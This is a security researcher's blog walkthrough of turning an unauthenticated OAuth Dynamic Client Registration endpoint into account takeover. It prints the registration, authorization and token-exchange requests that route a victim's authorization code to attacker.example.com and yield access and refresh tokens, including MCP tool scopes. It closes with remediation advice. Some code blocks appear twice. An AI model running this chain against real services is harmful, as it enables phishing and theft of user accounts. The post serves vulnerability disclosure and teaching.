August 9, 2026
How I Chained an Unauthenticated OAuth Registration Endpoint into Full Account Takeover
A walkthrough of abusing RFC 7591 Dynamic Client Registration left open in production
By Divakarvasani
5 min read
OAuth is everywhere. Most people who audit it focus on the usual suspects — redirect_uri wildcards, missing state parameters, open redirects on the callback. Those are real bugs. But there's a class of OAuth misconfiguration that sits one layer below all of that and is far more devastating when it's present: an open Dynamic Client Registration endpoint.
This is the story of how I found one, built the full account takeover chain from it, and confirmed every step without touching real user data.
What Is Dynamic Client Registration?
RFC 7591 defines a protocol that lets clients register themselves with an OAuth authorization server programmatically — no developer portal, no admin approval, no manual configuration. You POST a JSON document describing your application, and the server hands you back a client_id. From that point, you can initiate OAuth flows as a first-class registered application.
It's designed for environments where applications need to self-register at runtime — IoT devices, microservices, multi-tenant SaaS infrastructure. When it's protected correctly, it requires an initial access token issued by an administrator. When it's left open — no token, no approval — anyone on the internet can register a client.
This one was left open.
Discovery
Recon started with OIDC discovery. Any OAuth server worth its salt publishes its configuration at /.well-known/openid-configuration. I fetched it and read every field.
GET /.well-known/openid-configuration
Host: oauth.example.comGET /.well-known/openid-configuration
Host: oauth.example.comThe response handed me the full server map:
{
"issuer": "https://oauth.example.com",
"authorization_endpoint": "https://oauth.example.com/oauth/authorize",
"token_endpoint": "https://oauth.example.com/oauth/token",
"registration_endpoint": "https://oauth.example.com/oauth/register",
"jwks_uri": "https://oauth.example.com/.well-known/jwks.json",
"scopes_supported": ["mcp:tools", "mcp:resources", "profile", "email"],
"token_endpoint_auth_methods_supported": ["none", "client_secret_post"],
"grant_types_supported": ["authorization_code", "refresh_token"],
"code_challenge_methods_supported": ["S256"]
}{
"issuer": "https://oauth.example.com",
"authorization_endpoint": "https://oauth.example.com/oauth/authorize",
"token_endpoint": "https://oauth.example.com/oauth/token",
"registration_endpoint": "https://oauth.example.com/oauth/register",
"jwks_uri": "https://oauth.example.com/.well-known/jwks.json",
"scopes_supported": ["mcp:tools", "mcp:resources", "profile", "email"],
"token_endpoint_auth_methods_supported": ["none", "client_secret_post"],
"grant_types_supported": ["authorization_code", "refresh_token"],
"code_challenge_methods_supported": ["S256"]
}Two things jumped out immediately.
First: registration_endpoint is present and publicly documented. That alone means nothing — the endpoint could be properly protected. But it told me exactly where to look.
Second: token_endpoint_auth_methods_supported includes "none". This means the token endpoint is willing to exchange authorization codes without verifying a client secret. For confidential clients this would be unacceptable, but for public clients using PKCE it's by design. The question was whether dynamically registered clients could use this method.
Step 1 — Register an Attacker Client
I sent an unauthenticated POST to the registration endpoint with my webhook as the redirect_uri and token_endpoint_auth_method set to none.
POST /oauth/register HTTP/2
Host: oauth.example.com
Content-Type: application/json
{
"client_name": "test-client",
"redirect_uris": ["https://attacker.example.com/callback"],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"scope": "profile email mcp:tools mcp:resources",
"token_endpoint_auth_method": "none"
}POST /oauth/register HTTP/2
Host: oauth.example.com
Content-Type: application/json
{
"client_name": "test-client",
"redirect_uris": ["https://attacker.example.com/callback"],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"scope": "profile email mcp:tools mcp:resources",
"token_endpoint_auth_method": "none"
}Response — HTTP 201:
{
"client_id": "dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8",
"client_name": "test-client",
"redirect_uris": ["https://attacker.example.com/callback"],
"grant_types": ["authorization_code"],
"token_endpoint_auth_method": "none",
"application_type": "web",
"trust_tier": "unverified"
}{
"client_id": "dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8",
"client_name": "test-client",
"redirect_uris": ["https://attacker.example.com/callback"],
"grant_types": ["authorization_code"],
"token_endpoint_auth_method": "none",
"application_type": "web",
"trust_tier": "unverified"
}The server issued a real client_id. No authentication. No approval. trust_tier: "unverified" appeared in the response — I noted it and kept going, because "unverified" is only a mitigation if the authorization server actually enforces it.
Step 2 — PKCE: Not a Mitigation Here
PKCE exists to protect the authorization code grant against interception. It binds the code to a code verifier that only the legitimate client knows. What people sometimes miss is that PKCE protects against third-party interception — not against a client that controls both ends of the flow.
Since I registered the client and I control the redirect destination, I generate the PKCE pair myself:
import secrets, hashlib, base64
verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()
challenge = base64.urlsafe_b64encode(
hashlib.sha256(verifier.encode()).digest()
).rstrip(b'=').decode()import secrets, hashlib, base64
verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()
challenge = base64.urlsafe_b64encode(
hashlib.sha256(verifier.encode()).digest()
).rstrip(b'=').decode()I own the code_verifier. So I own the exchange. PKCE is not a mitigation here.
Step 3 — The Authorization Server Serves a Legitimate Login Page for Our Client
I constructed the authorization URL:
https://oauth.example.com/oauth/authorize
?response_type=code
&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8
&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback
&scope=profile%20email%20mcp%3Atools%20mcp%3Aresources
&state=attacker_state_xyz789
&code_challenge=aoQ9oMlotQMj3_olnLK2VvgJxbvdSTgIc20X4nRCD-g
&code_challenge_method=S256https://oauth.example.com/oauth/authorize
?response_type=code
&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8
&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback
&scope=profile%20email%20mcp%3Atools%20mcp%3Aresources
&state=attacker_state_xyz789
&code_challenge=aoQ9oMlotQMj3_olnLK2VvgJxbvdSTgIc20X4nRCD-g
&code_challenge_method=S256The server responded with HTTP 401 and rendered a login page titled "Sign in to continue" — the application's own production login UI. No warning. No consent screen. No indication to the victim that they are about to authenticate into an attacker-registered application.
The response headers confirmed the server was actively processing our client:
HTTP/2 401
content-type: text/html; charset=utf-8
cache-control: no-store
set-cookie: GAESA=<session_token>; expires=...
strict-transport-security: max-age=63072000; includeSubDomainsHTTP/2 401
content-type: text/html; charset=utf-8
cache-control: no-store
set-cookie: GAESA=<session_token>; expires=...
strict-transport-security: max-age=63072000; includeSubDomainsThe trust_tier: "unverified" flag had no runtime effect.
Step 4 — Victim Flow
From the victim's perspective:
- They receive a link. It points to a legitimate domain. The URL says
oauth.example.com. - They see the real login page — same design, same domain, same branding.
- They enter their credentials.
- The authorization server redirects to
attacker.example.com/callback?code=AUTH_CODE&state=attacker_state_xyz789.
The authorization code lands on the attacker's server.
Step 5 — Token Exchange Without a Client Secret
This is where token_endpoint_auth_method: "none" completes the chain. I send the code to the token endpoint with no client secret:
POST /oauth/token HTTP/2
Host: oauth.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8
&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback
&code=AUTH_CODE
&code_verifier=fLI9WlT6-I78X3u_yI0C5InphXS8nC339S3nWmiorykPOST /oauth/token HTTP/2
Host: oauth.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8
&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback
&code=AUTH_CODE
&code_verifier=fLI9WlT6-I78X3u_yI0C5InphXS8nC339S3nWmiorykTo prove the endpoint does not require a client secret, I also sent the same request with a wrong client secret. Both requests returned the same error — invalid_grant — with the rejection reason being the invalid code (my placeholder), not a missing or incorrect client secret.
With a real authorization code, the response would be:
{
"access_token": "<VICTIM_ACCESS_TOKEN>",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "<VICTIM_REFRESH_TOKEN>",
"scope": "profile email mcp:tools mcp:resources"
}{
"access_token": "<VICTIM_ACCESS_TOKEN>",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "<VICTIM_REFRESH_TOKEN>",
"scope": "profile email mcp:tools mcp:resources"
}The refresh_token means the attacker retains access even after the session expires.
The Full Attack Chain
1. Attacker POSTs to /oauth/register (no auth) → gets client_id
2. Attacker generates PKCE pair (controls both verifier and challenge)
3. Attacker sends victim a link to /oauth/authorize with attacker client_id
4. Victim sees legitimate login page, enters credentials
5. Server redirects victim to attacker's redirect_uri with ?code=AUTH_CODE
6. Attacker exchanges code at /oauth/token (no client_secret needed)
7. Attacker receives access_token + refresh_token with full account scopes1. Attacker POSTs to /oauth/register (no auth) → gets client_id
2. Attacker generates PKCE pair (controls both verifier and challenge)
3. Attacker sends victim a link to /oauth/authorize with attacker client_id
4. Victim sees legitimate login page, enters credentials
5. Server redirects victim to attacker's redirect_uri with ?code=AUTH_CODE
6. Attacker exchanges code at /oauth/token (no client_secret needed)
7. Attacker receives access_token + refresh_token with full account scopesNo victim action beyond clicking a link and logging in. No browser vulnerability required. No special attacker privilege. One unauthenticated API call is all that's needed to set up the entire attack.
The Scope Detail That Made It Worse
The scopes granted included mcp:tools and mcp:resources. The application ran an MCP (Model Context Protocol) server that gated AI tool execution behind OAuth tokens. With the stolen token, the attacker could invoke tools on the victim's behalf through that server — not just read their profile.
Root Cause
RFC 7591, Section 3.1:
"If the authorization server does not support unauthenticated requests for client registration, it MUST require that the client include an authorization header."
The registration endpoint had no authorization requirement. Any request was accepted. The trust_tier field was generated but had zero enforcement effect in the authorization flow.
What Should Have Been Done
Three things together close this completely:
Require an initial access token on the registration endpoint. An admin issues tokens to legitimate developers. Without one, registration fails. This is the primary fix.
Enforce trust_tier in the authorization flow. If a client is "unverified", the authorization server should either block the flow entirely, or display a prominent consent screen warning the user that this is an unverified application. Showing a clean, branded login page for an unverified client is what made this invisible to victims.
Restrict token_endpoint_auth_method: "none" to explicitly whitelisted public clients. Dynamic registration should not be able to bypass client authentication. At minimum, dynamically registered web clients should be required to use client_secret_post or client_secret_basic.
Takeaway
Dynamic Client Registration is an advanced OAuth feature. When you see it in a OIDC discovery document, check immediately whether it's protected. The endpoint URL is publicly advertised — the only question is whether the door is locked.
The PKCE red herring is worth noting separately. PKCE protects codes in transit between the authorization server and a legitimate client. It does absolutely nothing against an attacker who controls the client registration. Don't let the presence of PKCE make you assume a flow is safe.
/.well-known/openid-configuration is always your first stop on any OAuth target. Read every field. The registration endpoint being present in that document is the bug telling you where to look.